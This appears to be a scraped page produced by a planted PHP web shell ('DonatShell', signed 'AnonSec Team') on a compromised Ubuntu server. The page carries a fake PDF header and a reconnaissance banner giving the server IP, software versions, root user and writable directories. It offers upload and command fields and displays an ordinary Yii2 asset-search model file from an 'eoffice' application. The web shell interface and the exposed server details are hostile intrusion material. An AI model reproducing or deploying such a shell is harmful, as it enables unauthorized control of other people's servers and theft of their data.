%PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 49.231.201.246  /  Your IP : 216.73.216.248
Web Server : Apache/2.4.18 (Ubuntu)
System : Linux 246 4.4.0-210-generic #242-Ubuntu SMP Fri Apr 16 09:57:56 UTC 2021 x86_64
User : root ( 0)
PHP Version : 7.0.33-0ubuntu0.16.04.16
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/eoffice/frontend/modules/assetdata/models/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /var/www/html/eoffice/frontend/modules/assetdata/models/AssetDataSearch.php
<?php

namespace frontend\modules\assetdata\models;

use Yii;
use yii\base\Model;
use yii\data\ActiveDataProvider;
use backend\modules\assetdata\models\AssetData;

/**
 * AssetDataeSearch represents the model behind the search form of `backend\modules\assetdata\models\AssetData`.
 */
class AssetDataSearch extends AssetData {

    /**
     * @inheritdoc
     */
    public $assetResponsiblesName;
    public $assetResponsiblesAdd;
    public $q;

    public function rules() {
        return [
            [['asset_type_id', 'created_at', 'updated_at'], 'integer'],
            [['asset_id', 'asset_name', 'asset_invoice', 'asset_brand', 'asset_kind', 'asset_number', 'asset_serial1', 'asset_serial2', 'asset_registration', 'asset_color', 'asset_other', 'asset_ins_dateto', 'asset_ins_companies', 'asset_ins_dateat', 'asset_getting_from', 'asset_getting_date', 'asset_budgets', 'asset_enc_date', 'asset_end_met', 'asset_enc_number', 'asset_status1', 'asset_status2', 'asset_status3', 'asset_status4', 'asset_status5', 'asset_status_detail', 'asset_comments', 'asset_hc', 'q'], 'safe'],
            [['asset_price', 'asset_enc_price', 'asset_enc_profit_lost'], 'number'],
            [['assetResponsiblesName', 'assetResponsiblesAdd', 'asset_departments'], 'safe'],
        ];
    }

    /**
     * @inheritdoc
     */
    public function scenarios() {
        // bypass scenarios() implementation in the parent class
        return Model::scenarios();
    }

    /**
     * Creates data provider instance with search query applied
     *
     * @param array $params
     *
     * @return ActiveDataProvider
     */
    public function search($params) {
            $query = AssetData::find();

        // add conditions that should always apply here

        $dataProvider = new ActiveDataProvider([
            'query' => $query,
            'sort' => ['defaultOrder' => ['id' => SORT_DESC]],
            'pagination' => [
                'pageSize' => 50,
            ],
        ]);

        $this->load($params);

        if (!($this->load($params) && $this->validate())) {

            return $dataProvider;
        }
        $query->joinWith(['assetResponsibles']);

        // grid filtering conditions
        $query->andFilterWhere([
//            'id' => $this->id,
            'asset_departments' => $this->asset_departments,
            'asset_type_id' => $this->asset_type_id,
            'asset_ins_dateto' => $this->asset_ins_dateto,
            'asset_ins_dateat' => $this->asset_ins_dateat,
            'asset_getting_date' => $this->asset_getting_date,
            'asset_price' => $this->asset_price,
            'asset_enc_date' => $this->asset_enc_date,
            'asset_enc_price' => $this->asset_enc_price,
            'asset_enc_profit_lost' => $this->asset_enc_profit_lost,
            'created_at' => $this->created_at,
            'updated_at' => $this->updated_at,
            'asset_hc' => $this->asset_hc,
        ]);

        $query->andFilterWhere(['like', 'asset_id', $this->asset_id])
                ->andFilterWhere(['like', 'asset_name', $this->asset_name])
                ->andFilterWhere(['like', 'asset_invoice', $this->asset_invoice])
                ->andFilterWhere(['like', 'asset_brand', $this->asset_brand])
                ->andFilterWhere(['like', 'asset_kind', $this->asset_kind])
                ->andFilterWhere(['like', 'asset_number', $this->asset_number])
                ->andFilterWhere(['like', 'asset_serial1', $this->asset_serial1])
                ->andFilterWhere(['like', 'asset_serial2', $this->asset_serial2])
                ->andFilterWhere(['like', 'asset_registration', $this->asset_registration])
                ->andFilterWhere(['like', 'asset_color', $this->asset_color])
                ->andFilterWhere(['like', 'asset_other', $this->asset_other])
                ->andFilterWhere(['like', 'asset_ins_companies', $this->asset_ins_companies])
                ->andFilterWhere(['like', 'asset_getting_from', $this->asset_getting_from])
                ->andFilterWhere(['like', 'asset_budgets', $this->asset_budgets])
                ->andFilterWhere(['like', 'asset_end_met', $this->asset_end_met])
                ->andFilterWhere(['like', 'asset_enc_number', $this->asset_enc_number])
                ->andFilterWhere(['like', 'asset_status1', $this->asset_status1])
                ->andFilterWhere(['like', 'asset_comments', $this->asset_comments])
                ->andFilterWhere(['like', 'asset_hc', $this->asset_hc])
                ->andFilterWhere(['like', 'asset_responsible.asset_responsible_name', $this->assetResponsiblesName])
                ->andFilterWhere(['like', 'asset_responsible.asset_responsible_add', $this->assetResponsiblesAdd]);

        return $dataProvider;

    }

}

Anon7 - 2022
AnonSec Team